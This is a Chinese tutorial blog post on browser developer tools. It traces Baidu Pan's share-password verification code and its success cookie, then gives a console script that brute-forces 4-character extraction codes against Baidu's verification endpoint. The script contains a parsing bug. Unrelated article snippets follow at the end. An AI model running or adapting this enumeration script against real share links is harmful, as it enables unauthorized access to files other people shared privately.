浏览器开发者工具使用实例

news/2024/10/18 19:22:24/

开发者工具使用实例

1、查找事件执行函数

举例

F12打开控制台

在 chrome 的控制台的Element选项卡面板里右侧面板有个 Event Listeners,这里会显示你所选择元素的原生事件。原生事件就是元素上直接οnclick="xx"等,如下图。

显示是按事件类型显示的,此处是标准事件click,展开后就是在哪些元素上绑定的,同一行后面超链接可以在Sources选显卡里定位处理过程。这个Dom事件模型要了解。然后紫色的handler就是处理函数,光标在上面就会显示出来。

下面来寻找百度云的那里按钮的处理函数。

右键菜单-Inspect element自动打开开发者控制台并定位在Element选项卡dom树里元素的位置。

在弹出的Elements选项卡右侧面板选择Event Listeners,可以看到click的事件是通过元素id为submitBtn的标签为a来触发的。直接点击挂钩元素后的超链接或者找到handler,在上面右键鼠标选择"Show Function Definition"菜单,来打开处理函数。Js代码本来本来就是让人看到的,只要不是写的太挫就行。。。

 

2、分析

美化展开如下(使用了Jquery库):

// JavaScript source code

var requestToken = function () {

var A = $("#accessCode").attr("value"),//2222

    C = $("#ycode").val(),//""

    B = $(".pickcode img:first").attr("verify"),//undefined

    _ = function () {

     //语法 jQuery.post(url, data, success(data, textStatus, jqXHR), dataType)

     $.post(disk.api.RestAPI.VERIFY_SHARE + location.search + "&t=" + (new Date().getTime()), { pwd: A, vcode: C }, function (A) {

     //请求成功时执行的回调函数。

     var _ = null;

     try {

     _ = $.parseJSON(A);

     } catch (B) {

     }

     if (_ != null && _.errno == -62) {

     $(".ac-close").addClass("ac-open").removeClass("ac-close");

     $("#tip").css("display", "block").text("(\u5bc6\u7801\u9519\u8bef)");//密码错误

     verifyCodeLoad();

     } else {

     if (_ != null && (_.errno == -19 || _.errno == -63)) {

     $(".ac-close").addClass("ac-open").removeClass("ac-close");

     $("#tip").css("display", "block").text("(\u9a8c\u8bc1\u7801\u9519\u8bef)");//验证码错误

     verifyCodeLoad();

     } else {

     if (_ != null && _.errno == -9) {

     $("#tip").css("display", "block").text("(\u5bc6\u7801\u9519\u8bef)");//密码错误

     } else {

     if (_ == null || _.errno !== 0) {

     $("#tip").css("display", "block").text("(\u5bc6\u7801\u9519\u8bef)");//密码错误

     } else {

     location.assign("/share/link" + location.search);

     }

     }

     }

     }

     });

    };

if (A.length == 0) {

$("#tip").text("(\u8bf7\u8f93\u5165\u63d0\u53d6\u5bc6\u7801\u518d\u63d0\u4ea4)").show();//请输入提取密码再提交

return false;

} else {

if (B == "verify" && C.length == 0) {

$("#tip").text("(\u8bf7\u8f93\u5165\u9a8c\u8bc1\u7801)").show();//请输入验证码

return false;

} else {

$("#tip").css("display", "none");

_();//发送请求

}

}

A = A.toLowerCase();

}

 

看看id为accessCode的元素,Console选项卡里输入$("#accessCode")回车,光标移动到结果上显示位置,如图。

function cookie_delete(name) //删除cookie

{

var exp = new Date();

exp.setTime(exp.getTime() - 1);

var cval = cookie_get(name);

if (cval != null) document.cookie = name + "=" + cval + ";expires=" + exp.toGMTString();

}

 

 

function cookie_get(name) //读取cookie

{

var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");

if (arr = document.cookie.match(reg))

return unescape(arr[2]);

else

return null;

}

 

3、测试

对于某ID

有时喜欢使用短地址http://pan.baidu.com/s/1eQzPrjk,即

由于这个测试地址失效重新换了一个,输入一个提取码测试,如下返回结果。其中,返回了一个Set-Cookie,即BDCLND(大概就是百度云盘标识),每次成功都会改变。只要这个cookie存在关闭浏览器重新打开分享的地址就无需输入了,但是根据这个cookie时间貌似很长啊,一个月。

4、代码枚举

如果直接在控制台执行提取码枚举:

(function pwd_enumeration() {

var fixed_url = disk.api.RestAPI.VERIFY_SHARE + location.search + "&t=",

letterTable = "0123456789abcdefghijklmnopqrstuvwxyz",

data_vcode = "",

data_pwd,

post_url;

var pwd_idx0 = 0, pwd_idx1 = 0, pwd_idx2 = 0, pwd_idx3 = 0, maxidx = letterTable.length;

var pwd_enumeration_run = function () {

post_url = fixed_url + (new Date().getTime());

data_pwd = letterTable.charAt(pwd_idx0) + letterTable.charAt(pwd_idx1) + letterTable.charAt(pwd_idx2) + letterTable.charAt(pwd_idx3);

$.post(post_url, { pwd: data_pwd, vcode: data_vcode },

function (data) {

var _ = null;

try {

_ = $.parseJSON(A);

 

} catch (e) {

}

if (null != _ && 0 == _.errno) {

console.log(data_pwd);

} else {

if (++pwd_idx3 >= maxidx) {

pwd_idx2++;

pwd_idx3 = 0;

}

if (pwd_idx2 >= maxidx) {

pwd_idx1++;

pwd_idx2 = 0;

}

if (pwd_idx1 >= maxidx) {

pwd_idx0++;

pwd_idx1 = 0;

}

if (pwd_idx0 < maxidx) {

setTimeout(pwd_enumeration_run, 1);

} else {

console.log("ends without pwd found.");

}

}

}

);

};

setTimeout(pwd_enumeration_run, 1);

})();

 

5、评估

如果此时打开,当上千条时就会很卡。。。不建议打开了。平均60ms一次,如果36^4 * 60ms = 100776960ms = 1679.616min = 27.9936h,最坏大约28小时,此页面的控制台进程内存也在涨。估计这个太不值得了,就为了一个提取码。如果纯数字就容易些,最坏10分钟。

在Task Manager(Shift+ECS)可以看到是否一直在执行。

 

 6、

<textarea id="runcode"></textarea >

<input οnclick="runEx('runcode')" type="button" value="运行代码">

function runEx(cod1) { cod=document.getElementById(cod1) var code=cod.value; if (code!=""){ var newwin=window.open('','',''); newwin.opener = null newwin.document.write(code); newwin.document.close(); } }

 

 

7、用自己手机接受一下,填写确认码。之后如下图删除再填写任意号码。

转载于:https://www.cnblogs.com/Fang3s/p/3970651.html


http://www.ppmy.cn/news/182542.html

相关文章

Android 获得 usb 权限的两种方式

0. 前言 在做 USB OTG 通信时&#xff0c;第一步就是要能够获取到 usb 的使用权限&#xff0c;因此特地在此处介绍一下两种我用过的获取 usb 权限方式。 1. 直接在 AndroidManifest.xml 中配置 这种配置方式是在 github 上 usb-serial-for-android 项目中看到的&#xff0c;…

tcp服务器异常情况

服务器提供回射服务&#xff08;将客户端发送的内容回送到客户端上&#xff09; 1. 服务器没有开启回射服务 客户端启动tcpcli &#xff0c; 调用connect连接 那么在str_cli 里面的 一write socket 就会产生SIGPIPE这是因为connect连接服务器 服务器产生RST&#xff0c; 当向一…

LeNet-5-实现-cifar2

标题#LeNet-5 完成 cifar2&#xff08;无注释源代码在本文最下方&#xff09; import tensorflow as tf import matplotlib.pyplot as plt from tensorflow.keras import layers, losses, Model 1)定义一个有参有返回值的函数用于加载图片 def load_img(file_path): img tf…

gearman mysql_gearman的持久化,以mysql的方式

1、为什么要持久化? gearman的job server中的工作队列存储在内存中&#xff0c;一旦服务器有未处理的任务时重启或者宕机&#xff0c;那么这些任务就会丢失。 持久化存储队列可以允许添加后台任务&#xff0c;并将其存储在外部的持久型队列里(比如MySQL数据库)。 2、关于gearm…

2021-05-18文件的读取和写入

文件的读取与字典 # file1 open(d:\note1.txt)#注意转义符 # file1 open(d:\\note1.txt)#多写一个\ # file1 open(d:/note1.txt)#用/代替\ # file1 open(rd:\note1.txt)#前面加一个r # file1open(d:/ceshi.txt,r) #r读取模式&#xff0c;w写入模式&#xff08;会清空之前的内容…

Appium日志分析

Appium工作期间每个端口号的作用&#xff1a; 4723 &#xff1a;Appium服务的端口&#xff0c;负责接收脚本端发送过来的请求 4724&#xff1a;手机设备上的Bootstrap 端口&#xff0c;监听服务端 8200&#xff1a;Appium服务的端口&#xff0c;负责跟手机端进行交互 6790&…

Codeforces Round #790 (Div. 4)(A-E 题解)

Codeforces Round #790 A-E 题解 A. Lucky?B. Equal CandiesC. Most Similar WordsD. X-SumE. Eating Queries A. Lucky? A. Lucky? 题意 给你 t 个六位数&#xff08;可能含前导0&#xff09;&#xff0c;对于每个六位数&#xff0c;如果前三位数字之和等于后三位数字之和…

php内核函数手册,开扒php内核函数,第三篇 implode

一开始觉得implode挺容易实现&#xff0c;但是写着写着才发现是挺复杂的&#xff0c;不说啦 来看看implode的用法吧 1 ? php 2 $arr array (Hello,World!,Beautiful,Day! ); 3 echo implode (" ", $arr ); 4 ? 上面会输出 Hello World! Beautiful Day! 下面的程序…